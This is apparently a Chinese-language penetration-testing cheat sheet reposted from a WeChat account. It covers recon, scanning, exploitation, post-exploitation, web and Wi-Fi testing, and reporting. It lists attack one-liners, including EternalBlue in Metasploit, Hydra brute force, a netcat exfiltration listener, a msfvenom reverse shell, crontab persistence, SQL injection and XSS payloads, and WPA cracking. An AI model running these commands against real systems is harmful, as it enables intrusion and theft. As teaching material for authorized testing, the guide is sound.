渗透测试 (pentesting) 是识别和解决系统、网络和应用程序中的漏洞的关键过程。随着组织越来越依赖数字基础设施,确保强大的安全性变得至关重要。此渗透测试备忘单旨在作为初学者和经验丰富的渗透测试人员的实用指南,涵盖工具、技术和方法。
1. 准备渗透测试
1.1 定义范围
-
确定要测试的系统、网络和应用程序。
-
了解测试目标:黑盒、白盒或灰盒测试。
-
确认边界以避免意外损坏或法律问题。
1.2 收集必要的工具
-
操作系统:使用渗透测试操作系统,例如 Kali Linux 或 Parrot Security。
-
虚拟化:使用 VirtualBox、VMware 或 Proxmox 设置虚拟实验室。
-
基本工具:安装 Nmap、Metasploit、Burp Suite、Wireshark 和 John the Ripper 等工具。
1.3 制定规则
-
与利益相关者就规则达成一致。
-
定义测试时间、数据处理程序和事件报告机制。
2.侦察
2.1 被动侦察
-
Whois 查询:收集域名信息。
-
whois example.com
-
Google Dorks:使用高级搜索运算符查找敏感数据。
-
site:example.com filetype:pdf "confidential"
-
Shodan:识别暴露的服务和设备。
2.2 主动侦察
-
Ping Sweep:检查活动主机。
-
fping -a -g 192.168.1.0/24
-
Nmap 扫描:识别开放的端口和服务。
-
nmap -sV -p- 192.168.1.1
-
DNS 枚举:查找子域。
-
sublist3r -d example.com
3.漏洞扫描
3.1 自动扫描
-
Nessus:全面的漏洞扫描程序。
-
OpenVAS:开源漏洞管理工具。
-
Nikto:扫描 Web 服务器漏洞。
-
nikto -h http://example.com
3.2 分析结果
-
使用 CVE Details 等工具交叉检查发现的结果。
-
在继续利用之前消除误报。
4. 漏洞利用
4.1 常见的利用工具
-
Metasploit 框架:利用已知漏洞。
-
msfconsole use exploit/windows/smb/ms17_010_eternalblue
SQLmap:利用SQL注入漏洞。
-
sqlmap -u "http://example.com?id=1" --dbs
Hydra:暴力破解凭证。
-
hydra -l admin -P passwords.txt 192.168.1.1 ssh
4.2 权限提升
-
Linux 枚举:
-
linpeas.sh
Windows 枚举:
-
winpeas.exe
利用 Sudo 错误配置:
-
sudo -l
5. 后期利用
5.1 数据泄露
-
Netcat:传输文件。
-
nc -lvp 4444 > file.txt
PowerShell:
-
Invoke-WebRequest -Uri http://192.168.1.1/file.txt -OutFile C:file.txt
5.2 横向移动
-
使用泄露的凭证访问其他系统。
-
利用网络中的信任关系。
5.3 持久性
-
后门:设置反向shell。
-
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf
Crontab 条目:
-
echo "@reboot /path/to/script.sh" >> /etc/crontab
6. Web应用程序渗透测试
6.1 SQL注入测试
-
手动测试:
-
' OR '1'='1
-
自动化测试:
-
sqlmap -u "http://example.com?id=1"
6.2 跨站点脚本(XSS)
-
注入有效载荷:
-
<script>alert(1)</script>
-
分析输出和 DOM 交互。
6.3 文件上传漏洞
-
上传恶意文件并检查执行情况。
-
curl -X POST -F "[email protected]" http://example.com/upload
7.无线网络渗透测试
7.1 侦察
-
Airmon-ng:启用监控模式。
-
airmon-ng start wlan0
-
Airodump-ng:捕获无线流量。
-
airodump-ng wlan0mon
7.2 破解 WPA/WPA2
-
捕获握手:
-
airodump-ng --bssid <AP_MAC> -c <CHANNEL> -w handshake wlan0mon
-
破解密码:
-
aircrack-ng handshake.cap -w wordlist.txt
8. 报告和补救
8.1 记录调查结果
-
使用结构化格式报告:
-
漏洞描述
-
漏洞证明
-
风险评估(例如 CVSS 评分)
-
修正步骤
8.2 有效沟通
-
以非技术术语向业务利益相关者展示调查结果。
-
提供可行的建议来解决漏洞。
8.3 验证修复
-
补救后重新测试漏洞以确保漏洞得到解决。
9. 必备渗透测试工具
9.1 网络扫描
-
Nmap、Masscan
9.2 Web 应用程序测试
-
Burpsuit、ZAP
9.3 密码破解
-
Hashcat,John the Ripper
9.4 漏洞利用框架
-
Metasploit、Cobalt Strike
9.5 枚举和事后利用
-
LinEnum,BloodHound
结论
渗透测试是一个充满活力且不断发展的领域。本备忘单提供了结构化方法和实用工具,可帮助渗透测试人员有效识别和缓解漏洞。通过遵循本指南,您可以确保对目标进行全面而专业的评估。请记住,持续学习和适应新出现的威胁是渗透测试成功的关键。
原文始发于微信公众号(KK安全说):渗透测试速查表
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论